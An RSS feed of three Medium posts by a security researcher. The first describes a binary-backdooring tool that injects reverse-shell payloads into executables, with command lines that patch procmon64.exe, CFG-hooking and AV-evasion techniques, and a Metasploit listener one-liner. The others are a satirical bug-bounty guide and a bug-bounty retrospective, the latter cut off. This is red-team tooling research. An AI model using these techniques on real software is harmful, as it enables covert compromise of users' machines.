<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Josh Pitts on Medium]]></title>
        <description><![CDATA[Stories by Josh Pitts on Medium]]></description>
        <link>https://medium.com/@joshpitts?source=rss-7f0302ca4f92------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*fAJfbHb_7PmS7S8TQttUPg@2x.jpeg</url>
            <title>Stories by Josh Pitts on Medium</title>
            <link>https://medium.com/@joshpitts?source=rss-7f0302ca4f92------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 16 Nov 2026 20:50:21 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@joshpitts/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Hooking Control Flow Guard (CFG) for Fun and Profit]]></title>
            <link>https://joshpitts.medium.com/hooking-control-flow-guard-cfg-for-fun-and-profit-31f951485545?source=rss-7f0302ca4f92------2</link>
            <guid isPermaLink="false">https://medium.com/p/31f951485545</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hacking-for-defense]]></category>
            <category><![CDATA[hacking-tools]]></category>
            <category><![CDATA[backdoor]]></category>
            <dc:creator><![CDATA[Josh Pitts]]></dc:creator>
            <pubDate>Fri, 25 Feb 2022 11:06:46 GMT</pubDate>
            <atom:updated>2022-02-25T11:10:44.781Z</atom:updated>
            <content:encoded><![CDATA[<h3>A Public Update on BDF-ng Development</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*AvQAbPcZUpPet5Lg" /><figcaption>Photo by <a href="https://unsplash.com/@jontyson?utm_source=medium&amp;utm_medium=referral">Jon Tyson</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>A bit of history for those new to the field or new to the project…</p><p>The <a href="https://github.com/secretsquirrel/the-backdoor-factory">Backdoor Factory (BDF)</a> began development in July 2012 as a way to automate a manually intensive task of adding a payload (aka backdoor) to a windows program. I released the first open source version in <a href="https://www.youtube.com/watch?v=SXaoVo_U7kA">March 2013 at NOVA hackers</a>. Since that release, I’ve added numerous file formats (ELF, <a href="https://secureallthethings.blogspot.com/2014/08/patching-mach-o-format-simple-and-easy.html">Mach-o</a>), found <a href="http://threatpost.com/researcher-finds-tor-exit-node-adding-malware-to-binaries/109008">Russian’s abusing the Tor</a> network (onionduke), and spoke at <a href="https://www.youtube.com/watch?v=jk1VAuPH4-w">conferences</a> about my <a href="https://www.vice.com/en/article/evkq3m/apple-macos-malware-okta-research">research</a>. BDF was even added to Kali and Kali nethunter (as BDFProxy). It’s been a hell of journey.</p><p>However, I stopped actively developing BDF in September 2017 after over 5 years of open source development. Work and family added constraints, random people needed help and didn’t want to learn how to use the tool — they wanted to automagically bypass all AVs, and burnout added to my fleeting desire to support a project that was becoming more complex with each update. So I moved on to different projects and life.</p><p>Then there was the pandemic, my time opened up, and I read some old notes about what I would fix — if I could do it over and start from scratch. So, in July 2020, I started from scratch and began to code something more modular and flexible that will grow as I come up with new ideas. To help motivate me, I opened my Github to <a href="https://github.com/sponsors/secretsquirrel">sponsors</a> which get access to the code.</p><p>Why go the sponsorship route vs open source?</p><ol><li>I know who wants to use my software and what their actual concerns are (no trolling).</li><li>Limits nefarious activity. Let’s be honest, if someone is trying to bypass all AV/EDRs on Virustotal in one go (outside of bragging) they are probably not using your tool legally. Most legal pentests/red team engagements require bypassing only a handful of EDRs/AVs — <strong>NOT ALL OF THEM</strong>.</li><li>Motivation.</li></ol><p>What’s different about this new version?</p><p>The most simple way to show this would be via the tree and cloc commands:</p><p>Old BDF:</p><pre>.<br>├── COPYING<br>├── LICENSE.txt<br>├── README.md<br>├── __init__.py<br>├── arm<br>│   ├── LinuxARMLELF32.py<br>│   └── __init__.py<br>├── asm<br>│   ├── build.py<br>│   └── src<br>│       ├── loadliba_reverse_tcp.asm<br>│       ├── loadliba_shell.asm<br>│       └── loadliba_single_shell_reverse_tcp.asm<br>├── backdoor.py<br>├── elfbin.py<br>├── install.sh<br>├── intel<br>│   ├── FreeBSDIntelELF32.py<br>│   ├── LinuxIntelELF32.py<br>│   ├── LinuxIntelELF64.py<br>│   ├── MachoIntel32.py<br>│   ├── MachoIntel64.py<br>│   ├── WinIntelPE32.py<br>│   ├── WinIntelPE64.py<br>│   ├── __init__.py<br>│   ├── intelCore.py<br>│   └── intelmodules.py<br>├── machobin.py<br>├── onionduke<br>│   ├── OD_stub.exe<br>│   ├── __init__.py<br>│   └── onionduke.py<br>├── osslsigncode<br>│   ├── COPYING<br>│   ├── ChangeLog<br>│   ├── LICENSE<br>│   ├── Makefile.am<br>│   ├── README<br>│   ├── README.unauthblob<br>│   ├── TODO<br>│   ├── autogen.sh<br>│   ├── configure.ac<br>│   ├── misc<br>│   │   ├── pagehash.py<br>│   │   ├── softhsm-example-token<br>│   │   │   ├── README<br>│   │   │   └── gen-token.sh<br>│   │   └── valgrind.supp<br>│   └── osslsigncode.c<br>├── payloadtests.py<br>├── pebin.py<br>├── preprocessor<br>│   ├── __init__.py<br>│   ├── debug.py<br>│   ├── nsis_3_0.py<br>│   └── template.py<br>├── update.sh<br>└── winapi<br>    ├── __init__.py<br>    └── winapi.py</pre><pre>10 directories, 50 files</pre><pre>$ cloc .<br>49 text files.<br>43 unique files.<br>21 files ignored.</pre><pre>github.com/AlDanial/cloc v 1.90  T=0.19 s (185.2 files/s, 98700.1 lines/s)<br>--------------------------------------------------------------------<br>Language     files          blank        comment           code<br>--------------------------------------------------------------------<br>Python        22           1196           1469           9817<br>C              1            508            246           2703<br>Bourne Shell   5            241            352           1250<br>Markdown       1            184              0            280<br>Assembly       3             35             84            136<br>m4             1             18              1            117<br>make           1              3              0             13<br>YAML           1              2              1              1<br>--------------------------------------------------------------------<br>SUM:          35           2187           2153          14317<br>--------------------------------------------------------------------</pre><p>New BDF or BDF-ng:</p><pre>.<br>├── LICENSE.md<br>├── README.md<br>├── __init__.py<br>├── backdoor.py<br>├── bdf.log<br>├── common<br>│   ├── bdfp_content.py<br>│   ├── bdfp_executable_h.py<br>│   └── common.py<br>├── core<br>│   ├── __init__.py<br>│   ├── encoders<br>│   │   └── __init__.py<br>│   ├── enum.py<br>│   └── support.py<br>├── elf<br>│   ├── __init__.py<br>│   ├── core<br>│   │   └── core.py<br>│   ├── elf_parse.py<br>│   │   └── methods<br>│   │       ├── __init__.py<br>│   │       ├── modes<br>│   │       │   ├── __init__.py<br>│   │       │   └── text_splitting.py<br>│   │       └── text_off_entry.py<br>│   └── payload<br>│       ├── ET_DYN<br>│       ├── ET_EXEC<br>│       │   ├── __init__.py<br>│       │   ├── arm<br>│       │   │   ├── __init__.py<br>│       │   │   └── linux<br>│       │   │       ├── 32<br>│       │   │       │   ├── 32_core<br>│       │   │       │   │   ├── __init__.py<br>│       │   │       │   │   └── text_split_core.py<br>│       │   │       │   ├── __init__.py<br>│       │   │       │   ├── fork_reverse_shell_tcp.py<br>│       │   │       │   ├── fork_reverse_shell_tcp_staged.py<br>│       │   │       │   └── user_supplied_shellcode.py<br>│       │   │       └── __init__.py<br>│       │   └── intel<br>│       │       ├── __init__.py<br>│       │       ├── freebsd<br>│       │       │   ├── __init__.py<br>│       │       │   └── x86<br>│       │       │       ├── __init__.py<br>│       │       │       ├── fork_reverse_shell_tcp.py<br>│       │       │       └── x86_core<br>│       │       │           ├── __init__.py<br>│       │       │           └── text_split_core.py<br>│       │       └── linux<br>│       │           ├── __init__.py<br>│       │           ├── x64<br>│       │           │   ├── __init__.py<br>│       │           │   ├── fork_reverse_shell_tcp.py<br>│       │           │   ├── fork_reverse_shell_tcp_staged.py<br>│       │           │   ├── user_supplied_shellcode.py<br>│       │           │   └── x64_core<br>│       │           │       ├── __init__.py<br>│       │           │       └── text_split_core.py<br>│       │           └── x86<br>│       │               ├── __init__.py<br>│       │               ├── fork_reverse_shell_tcp.py<br>│       │               ├── fork_reverse_shell_tcp_staged.py<br>│       │               ├── user_supplied_shellcode.py<br>│       │               └── x86_core<br>│       │                   ├── __init__.py<br>│       │                   └── text_split_core.py<br>│       └── __init__.py<br>├── elfbin.py<br>├── install.zsh<br>├── macho<br>│   ├── __init__.py<br>│   ├── core<br>│   │   ├── __init__.py<br>│   │   └── core.py<br>│   ├── macho_parse.py<br>│   │   └── methods<br>│   │       ├── __init__.py<br>│   │       ├── modes<br>│   │       │   ├── __init__.py<br>│   │       │   └── remove_signature.py<br>│   │       └── pre_text_infection.py<br>│   └── payload<br>│       ├── __init__.py<br>│       ├── x64<br>│       │   ├── beaconing_reverse_shell_tcp.py<br>│       │   ├── delay_reverse_shell_tcp.py<br>│       │   ├── reverse_shell_tcp.py<br>│       │   ├── user_supplied_shellcode.py<br>│       │   └── x64_core<br>│       │       └── pre_text_core.py<br>│       └── x86<br>│           ├── beaconing_reverse_shell_tcp.py<br>│           ├── delay_reverse_shell_tcp.py<br>│           ├── reverse_shell_tcp.py<br>│           ├── user_supplied_shellcode.py<br>│           └── x86_core<br>│               └── pre_text_core.py<br>├── machobin.py<br>├── notes_fake_cert_gen.md<br>├── pe<br>│   ├── __init__.py<br>│   ├── core<br>│   │   ├── __init__.py<br>│   │   ├── core.py<br>│   │   ├── eat_code_caves.py<br>│   │   ├── intelCore.py<br>│   │   └── winapi.py<br>│   │   ├── __init__.py<br>│   │   └── methods<br>│   │       ├── __init__.py<br>│   │       ├── hook_cfg.py<br>│   │       ├── jmp_at_entrypoint.py<br>│   │       ├── modes<br>│   │       │   ├── __init__.py<br>│   │       │   ├── add_section.py<br>│   │       │   ├── cave_jumping.py<br>│   │       │   ├── single_cave.py<br>│   │       │   └── text_loader_single_cave.py<br>│   │       ├── od<br>│   │       │   ├── OD_stub.exe<br>│   │       │   ├── __init__.py<br>│   │       │   └── od.py<br>│   │       ├── onionduke.py<br>│   │       └── replace.py<br>│   ├── payload<br>│   │   ├── __init__.py<br>│   │   ├── x64<br>│   │   │   ├── __init__.py<br>│   │   │   ├── cfg_loader_reverse_tcp_staged_threaded.py<br>│   │   │   ├── iat_reverse_tcp_inline.py<br>│   │   │   ├── iat_reverse_tcp_inline_threaded.py<br>│   │   │   ├── iat_reverse_tcp_staged_threaded.py<br>│   │   │   ├── iat_user_supplied_shellcode_threaded.py<br>│   │   │   ├── meterpreter_reverse_https_threaded.py<br>│   │   │   ├── reverse_tcp_inline_shell.py<br>│   │   │   ├── reverse_tcp_staged_threaded.py<br>│   │   │   ├── text_loader_reverse_tcp_staged_threaded.py<br>│   │   │   ├── user_supplied_shellcode_threaded.py<br>│   │   │   └── x64_core<br>│   │   │       ├── __init__.py<br>│   │   │       ├── cfg_core.py<br>│   │   │       └── jmp_core.py<br>│   │   └── x86<br>│   │       ├── __init__.py<br>│   │       ├── iat_reverse_tcp_inline.py<br>│   │       ├── iat_reverse_tcp_inline_threaded.py<br>│   │       ├── iat_reverse_tcp_staged_threaded.py<br>│   │       ├── iat_user_supplied_shellcode_threaded.py<br>│   │       ├── meterpreter_reverse_https_threaded.py<br>│   │       ├── reverse_tcp_inline_shell.py<br>│   │       ├── reverse_tcp_staged_threaded.py<br>│   │       ├── user_supplied_shellcode_threaded.py<br>│   │       └── x86_core<br>│   │           ├── __init__.py<br>│   │           └── jmp_core.py<br>│   └── pe_parse.py<br>├── pebin.py<br>├── proxy.cfg<br>├── proxy.log<br>├── requirements.txt<br>├── testing<br>│   ├── TESTING.md<br>│   ├── __init__.py<br>│   └── tests.py<br>└── testing.log</pre><pre>46 directories, 136 files</pre><pre>$ cloc.</pre><pre>230 text files.<br>125 unique files.<br>215 files ignored.</pre><pre>github.com/AlDanial/cloc v 1.90  T=0.51 s (190.4 files/s, 29546.7 lines/s)</pre><pre>--------------------------------------------------------------------<br>Language      files          blank        comment           code<br>--------------------------------------------------------------------<br>Python        84           1942           1456          11316<br>Markdown       5             56              0            188<br>C              2              0              0             88<br>diff           5              0              0              5<br>zsh            1              1              0              3<br>--------------------------------------------------------------------<br>SUM:          97           1999           1456          11600<br>--------------------------------------------------------------------</pre><p>What features are new?</p><ul><li>BDF and BDFProxy are now one and it is also a <a href="https://mitmproxy.org/">mitmproxy</a> script: mitmproxy -s ./backdoor.py -p 9090</li><li>I broke out how patching happens, so it is more modular — it will help as more patching techniques are discovered and added.</li></ul><p>Old BDF patching of a PE file:</p><pre>./backdoor.py -f procexp64.exe -P 8080 -H 172.16.64.1 -s reverse_tcp_stager_threaded</pre><p>New BDF:</p><pre>./backdoor.py -f procexp64.exe PATCH_METHOD=jmp_at_entrypoint -q MODE=single_cave PAYLOAD=reverse_tcp_staged_threaded HOST=172.16.64.1 PORT=9090 ENCODER=None MODIFIER=manual</pre><ul><li>I have test cases to help speed development and ensure I don’t break anything. Unfortunately, I cannot re-distribute the test subjects yet (licensing).</li></ul><pre>$ python3 testing/tests.py test all</pre><pre>LOG:<br>[snip]<br>2022-02-23 22:34:36,INFO,tests.py,You have 0 failed tests!<br>2022-02-23 22:34:36,INFO,tests.py,You have 40 passed tests!</pre><ul><li>I fuzzed my file format parsers (just need to patch). And yes, I shared the crashes and fuzzing scripts with my sponsors.</li><li>I fixed a bug in my Mach-o payloads that rely on beaconing payloads or timed delays.</li><li>I have a new PATCH_METHOD and one new MODE for PE files (more on that later).</li><li>The option to fix-up the PE file header CheckSum value. This was something that some AVs would flag on.</li></ul><figure><img alt="BDF help output" src="https://cdn-images-1.medium.com/max/690/1*0olxlWaipjoylLM9Vd4h7g.png" /><figcaption>BDF Help Output</figcaption></figure><h4>New Mode (.Text loader)</h4><p>The original mode for PE file infection in BDF was hooking entry point. Since BDF was not designed to do emulation or control flow tracing, entry point hooking made the most sense. The problem with my original design was the payload code had to be written to other PE file section(s) and each section(s) flags had to be changed to Read, Write, Execute (RWX) — which no PE section should be written as such unless the program is a packer (example UPX). As such, that was one method that AVs used to detect BDF. It’s a simple pattern to detect: jmp @ entrypoint to a PE section with RWX properties . So, to get around this, I wrote a custom loader to load a payload from another section and have that loader live in the .text section. However, there are no <em>code caves</em> in the .text section — except at the end of the section and that cave tends to be small, as in &lt; 100 bytes.</p><p>To get around this constraint, I edit the PE header to extend the VirtualSize (size of what is loaded in memory) of the .text section to equal the SizeOfRawData (size of data on disk); usually VirtualSize is smaller than the SizeOfRawData. I haven’t tried to extend VirtualSize beyond SizeOfRawData and I don’t see much value without also extending the raw data on disk; this adds complexity as one would need to enumerate objects that point to structures in the subsequent sections and update them as needed. Anyway, for binaries that I’ve tested, making the section virtual and raw size the same, I get about 200 bytes for a code cave.</p><p>And it was not enough bytes at first! My regular loader finds VirtualAlloc and CreateThread in the Import address Table (and if not there… adds it during binary patching), allocates memory for the payload, copies the payload to the allocated memory, then creates a thread, and finally recovers to normal execution.</p><p>So I decided to make the loader as minimal as possible: just VirtualAlloc and then copy the CreateThread functionality, recovery method, and payload (from another section in the binary stuffed in a code cave) to the newly allocated memory, then jmp to the allocated memory, create the thread on the payload, and recover to normal execution. Simple. . .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a20cJPCi1ijS2S6T7ZOEvw.png" /></figure><p>Right now, here’s how to use it in BDF-ng (this will change):</p><pre>./backdoor.py -f tests/procmon64.exe PATCH_METHOD=jmp_at_entrypoint MODE=text_loader_single_cave PAYLOAD=text_loader_reverse_tcp_staged_threaded HOST=172.16.64.1 PORT=9090 ENCODER=None MODIFIER=manual</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iazdxv9LBr7V5P40qXRQAQ.png" /></figure><p>You can use Metasploit to catch the shell as so:</p><pre>msfconsole -qx ‘use exploit/multi/handler; set payload windows/x64/shell/reverse_tcp; set lport 9090;set lhost 172.16.64.1; set EXITFUNC thread; run’</pre><p>This is the only payload right now that uses the Text Loader and I have to make changes to the process to reuse existing payloads in BDF. This will change the command line arguments as you are seeing them now.</p><h4>New Patching Method — CFG Hooking</h4><p><a href="https://docs.microsoft.com/en-us/windows/win32/secbp/control-flow-guard">Control Flow Guard</a> is a memory corruption mitigation feature, that is required to be complied into a program. CFG is backwards compatible with OS’es that do not support it. Backwards compatible is key here. That means if you compile a program with CFG in it, your program will work on an older OS that does not support CFG.</p><p>“How?”</p><p>Glad you asked!</p><p>For x86_64, the call to CFG will do an indirect call to the __guard_dispatch_icall_fptr (AKA Guard CF address dispatch-function pointer). Example:</p><pre>ff15bdf80200 call qword [rel __guard_dispatch_icall_fptr]  {_guard_dispatch_icall_nop}</pre><p>If the OS does not support CFG, the __guard_dispatch_icall_fptr will point to the _guard_dispatch_icall_nop which is just this instruction set: jmp rax.</p><p>The RAX address is the function that follows normal execution flow.</p><p>Normally the loader overwrites __guard_dispatch_icall_fptr address at PE load time with the randomly chosen CFG function address, so you have to tell the loader that this binary does not have CFG enabled. <strong>You do this by setting the </strong><strong>Guard Flags to</strong><strong>0.</strong> At this point you can can overwrite the __guard_dispatch_icall_fptr with an address of your choosing and thereby you have hooked every function that would normally point to CFG to your function of choice. Naturally, I point it at my new Text Loader.</p><p>But this can cause a new problem: your function could potentially execute millions of times and depending on what your function does (remote access?) this could crash the host program. To fix this, I prepended a flag to the payload and in my loader I do the following:</p><pre>if the flag is not zero:<br>    set the flag to zero<br>    load the payload in memory (VirtualAlloc)<br>    execute the payload (CreateThread)<br>    and continue normal execution (jmp rax)<br>else:<br>    continue normal execution (jmp rax)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hrQdBDRkhyt4s_FbS-B56A.png" /></figure><p>To test this CFG hooking method in BDF-ng (this will change):</p><pre>./backdoor.py -f tests/procmon64.exe PATCH_METHOD=hook_cfg -q MODE=text_loader_single_cave PAYLOAD=cfg_loader_reverse_tcp_staged_threaded HOST=172.16.64.1 PORT=9090 ENCODER=None MODIFIER=manual</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0IobfknvwcIg9N26n-gsZw.png" /></figure><p>You can use the same Metasploit payload as before for testing.</p><p>So that’s it, it’s pretty simple to hook functions that point to CFG for protection. I’d imagine there are other protections that can be abused in other file formats.</p><h4>Future Work</h4><p>I view this and some of my upcoming projects similar to building wooden boats. It takes forever and the details are important. I’m in this for the long haul and have the following features on the horizon:</p><ul><li>Add more payloads or consolidate all payloads to work with CFG/text_loader methods</li><li>ELF_DYN Format Support</li><li>Apple M1 payload development</li><li>Encoders</li><li>DLLs</li><li>New Project: TinCanTelephone — Abusing Wireless APs</li><li>New Project: Environmental Keyed Framework</li><li>and more….</li></ul><p>Sponsor <a href="https://github.com/sponsors/secretsquirrel">here</a> to get the code and show that you enjoy my work.</p><p>Thanks for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=31f951485545" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bug Hunting 101: Nine Ways to Make Sure the Right People Read Your Bug Reports]]></title>
            <link>https://joshpitts.medium.com/bug-hunting-101-nine-ways-to-make-sure-the-right-people-read-your-bug-reports-94ada471b894?source=rss-7f0302ca4f92------2</link>
            <guid isPermaLink="false">https://medium.com/p/94ada471b894</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bugcrowd]]></category>
            <category><![CDATA[humor]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[Josh Pitts]]></dc:creator>
            <pubDate>Fri, 09 Apr 2021 21:12:48 GMT</pubDate>
            <atom:updated>2021-04-15T14:05:43.121Z</atom:updated>
            <content:encoded><![CDATA[<p>Congrats you work in sales and marketing now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HIaTCsGLTmk47cy1" /><figcaption>Photo by <a href="https://unsplash.com/@bermixstudio?utm_source=medium&amp;utm_medium=referral">Bermix Studio</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>Having triaged hundreds of bug reports from bug hunters and <a href="https://joshpitts.medium.com/one-year-of-attempting-bug-bounties-da419fde7ced">having written a couple myself</a>, I have a couple tips to distinguish your reports from the horde of competing submissions.</p><p><strong>Rule 1: Bypass the Bug Hunting Service Triage Personnel</strong></p><p>This group of saps is really just for show, marketing, and will probably be automated out of a job by chat bots. In fact, some programs get a cut of accepted bugs (notice I didn’t say valid here) so rubber stamping everything makes complete financial sense.</p><p>Despite their ineptness, they are a hurdle to bypass to get your report to the program owner(s) where you’ll most likely have better luck getting your (in)valid bug accepted with the methods mentioned after this.</p><p>When in doubt state the following “I know you can’t recreate this bug, but please forward to the program owners as I think they might be able to.”</p><p>You’re welcome. Program owners, I’m sorry.</p><p><strong>Rule 2: Over Classify Your Bug</strong></p><p>Let’s set the record straight. Technically, every time a server responds with a GET request, it’s code execution. Furthermore it’s remote code execution. Sure it’s not arbitrary remote code execution, but let’s not get ahead of ourselves. The goal here is to have someone read your clickjacking report, yes? Yes!</p><p>Overhype what admin users can do! After all admin users can do everything, it’s amazing we even allow admin user control panels to exist! Did you know admin users can take over user accounts by resetting passwords! Congrats you have a new bug class — stealing privileges from regular users.</p><p>Example winning bug report titles to get the initial interest for a self XSS bug:</p><ul><li>Remote Privilege Escalation in Web App</li><li>Critical XSS leads to RCE</li><li>Domain Takeover via Code Execution</li></ul><p>Soon you’ll have a reputation as a heavy hitter.</p><p>No one likes an understated bug.</p><p><strong>Rule 3: Incorrect Spelling and Grammar Rule the Day</strong></p><p>If it works on the socials it works in this realm also. You can’t ignore nails on a chalkboard, as such, reading incorrect grammar and spelling is like watching a season of KUWTK in one sitting — you can’t look away. Sure, potentially there is no value here, but you just aren’t sure, so you keep watching, a-hem, reading the bug report to make sure there is nothing important, but maybe there is, don’t want to miss it.</p><p>Alas, they aren’t sure. So they<em> </em>re-read the report again, because they didn’t understand it, but they might, after all there is RCE here and they don’t want to not fix RCE, but it’s not arbitrary and you left that out strategically.</p><p>Making yourself out to be Eastern European or Russian via spelling mistakes is, good yes? Da. Is good. Now that you have dropped determiners and made full use of dangling participles, you are definitely legit. They will start sweating and thinking maybe if I pay this person they will not hack us.</p><p><strong>Rule 4: Make Your Videos Undeniable</strong></p><p>Release your inner Stanley Kubrick. If a picture is worth 1000 words a video is worth 1000 pictures? It doesn’t matter Spielberg. Videos get watched, potentially before reports are read.</p><p>Vintage, grainy, 480p videos are all the vogue and will require squinting, therefore more attention. Remember to add dubstep and frantic mouse movements with no voice track (unless in a Russian accent) or text bubbles (unless in poor grammar — see above).</p><p>Ok Coppola, make sure your props are ready for filming. Set your lighting, soundtrack, and make sure you hotkey calc.exe. While you are doing your best ‘Mr. Robot’ impression, make sure you don’t edit out obvious clock skew while piecing together your non-working proof of concept.</p><p>Finally Cameron, post it on youtube and ‘forget’ to make it private.</p><p><strong>Rule 5: Scope Creep is a Must</strong></p><p>All the good bugs exist outside of the scope restrictions. You know this is true, why else would they limit scope? After all, most duplicates exist within the approved target scope — why be a schmuck?</p><p>The real truth is, reporting out of scope bugs will ensure your reports are read. Whether you are properly rewarded is another story.</p><p><strong>Rule 6: Be Impatient</strong></p><p>Did you just submit your bug today? Congrats! Now your report is competing with all the other reports for eyeballs. Ping everyday, twice a day. As it is said, the squeaky wheel gets replaced, I mean oiled.</p><p><strong>Rule 7: Being Happy is for Monks</strong></p><p>Say what you will about Dalai Llama (red pajama), but he’s not Elon Musk or Marky Mark rich. He let his country get taken over by the Communist Chinese and he lives in exile making speeches about being fine with it. Don’t do this with your bugs. Fight! Get angry! Do not go quietly into the night!</p><p>Thinking of each bug as a child helps to internalize this. If the bug is not accepted as valid, then it dies an unfulfilled life.</p><p><strong>Rule 8: Shame them into Submission</strong></p><p>Mother Teresa worked for free and so do you. Apply a little Catholic guilt. Talk about how hungry your kids are (include them in your profile pic for affect). The more subliminal the better.</p><p>Did you spend 40 hours finding an P4 IDOR bug, another 2 hours on write-up, and 2 hours on perfect video POC? Let them know! Remind them you are working for free and you need at least some points to make it to one of those snazzy hacking weekends where the payouts are handed out like Vegas strip club invites.</p><p><strong>Rule 9: Threaten Public Disclosure</strong></p><p>Often thought of the nuclear option, threaten program owners about what will happen if they don’t accept this “critical” vulnerability. Call their bluff, nobody wants bugs full disclosure, on pastebin, or even a CVE for that matter.</p><p>Caveat emptor, only do this with throwaway researcher accounts.</p><p>There you have it! With these nine steps you’ll be rising up the leaderboards — valid bugs be dammed!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=94ada471b894" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[One Year of Attempting Bug Bounties*]]></title>
            <link>https://joshpitts.medium.com/one-year-of-attempting-bug-bounties-da419fde7ced?source=rss-7f0302ca4f92------2</link>
            <guid isPermaLink="false">https://medium.com/p/da419fde7ced</guid>
            <category><![CDATA[bug-hunting]]></category>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[bugcrowd]]></category>
            <category><![CDATA[bug-hunter]]></category>
            <dc:creator><![CDATA[Josh Pitts]]></dc:creator>
            <pubDate>Thu, 03 Dec 2020 20:36:20 GMT</pubDate>
            <atom:updated>2020-12-04T14:09:45.508Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ios8HNO4InVEOCn9" /><figcaption>Photo by <a href="https://unsplash.com/@crawford?utm_source=medium&amp;utm_medium=referral">Crawford Jolly</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>*A calendar year, but really only 120 hours of work.</p><p>Have you ever been curious about what’s it like to do bug bounties? Have you tried it? Have you seen the <a href="https://www.zdnet.com/article/this-is-how-much-top-hackers-are-earning-from-bug-bounties/">stats</a> about how some people are making really good money?</p><p>In this post, I’ll talk about my experience trying bug bounties with <a href="https://www.bugcrowd.com/">Bugcrowd</a>. My background includes conducting traditional penetration testing and AppSec reviews from my time as a consultant and internal security at a large firm. I have no issues finding complex <a href="https://www.vice.com/en/article/evkq3m/apple-macos-malware-okta-research">vulnerabilities</a>. While I haven’t tried <a href="https://hackerone.com/">HackerOne</a>, I think there are similarities between the two. I’ve had to triage submitted vulnerabilities from both HackerOne and Bugcrowd, so I do understand the differences in both companies and how they provide incentives to researchers submitting issues through their respective systems.</p><p>I have to admit, when bug bounties started I was a sceptic — why would I spend my time working for free? Traditional consulting pays you for your time to setup, understand the target attack surface, dive into internals, and ship an engagement report — typically in a short amount of time, let’s say two leisurely 40 hour weeks. For those of you in sweat shop consulting firms, you know I’m joking, that’s 50–60 hour weeks, or more, you are probably double booked and you are hanging on for dear life!</p><p>However, after receiving bug reports from researchers I noticed a couple things:</p><ul><li>The talent pool is shallow — just like the real world, pure hacking talent is rare. Sure we can fill a conference with 30k people, but how many are actual hackers and how many are there just for a show?</li><li>As such, a lot of the bug reports were not well written.</li><li>There seemed to be a sense of desperation in a lot of the reports, I’m not sure if it’s from the fact that there is a bit of ‘over selling’ the impact of the bug (this happens a lot), or the fact that these people are working for free.</li></ul><p>After looking at these reports on and off for three or so years, last December (2019) I decided to give this a shot. January and February were great! Then this cold thing shut down day care and schools and my kids were home for months on end. So I didn’t get back into the grind until July or was that September. Either way, I decided to go with Bugcrowd and stick with that for the year. Why just one program? Well, it pays to be a winner. Programs provide incentives for researcher loyalty and I do not have a lot of time to work two programs at the moment.</p><p>What incentives you ask?</p><p>There are two main types of programs, public and private. Public programs allow anyone to test the program as long as you stay within scope. If we were to use an apple tree as an analogy for bug hunting, anyone can come by and pick apples from the tree. You may see apples on the tree next to you, but that’s not in scope. No picking! Private programs are where you are invited to pick fruit from this particular tree that no one knows exists, except for the people that were invited. Scope applies here too! Find more quality bugs, get more private program invites.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bxYpKGQUvYbchN50" /><figcaption>Photo by <a href="https://unsplash.com/@mimiori?utm_source=medium&amp;utm_medium=referral">Marina Khrapova</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>I like the apple tree analogy because you can put researchers into different categories of fruit pickers. Some testers use the pre-canned scanner in Burp and have very little manual testing skills or experience (This is ok for people learning). This is the equivalent of going apple picking sans ladder or an apple pole picker. Next you’ll have someone that can do manual testing using Burp, understands application logic, has experience — this is likened to someone showing up with tools for apple picking, albeit, still manual. Then you have people that write their own scanners or plugins for scanning <a href="https://github.com/projectdiscovery/nuclei">tools</a> for common bugs that can scale across different programs. These people are likened to a massive apple picking machine making short work of an orchard.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FO2H3s-MjAd8%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DO2H3s-MjAd8&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FO2H3s-MjAd8%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a 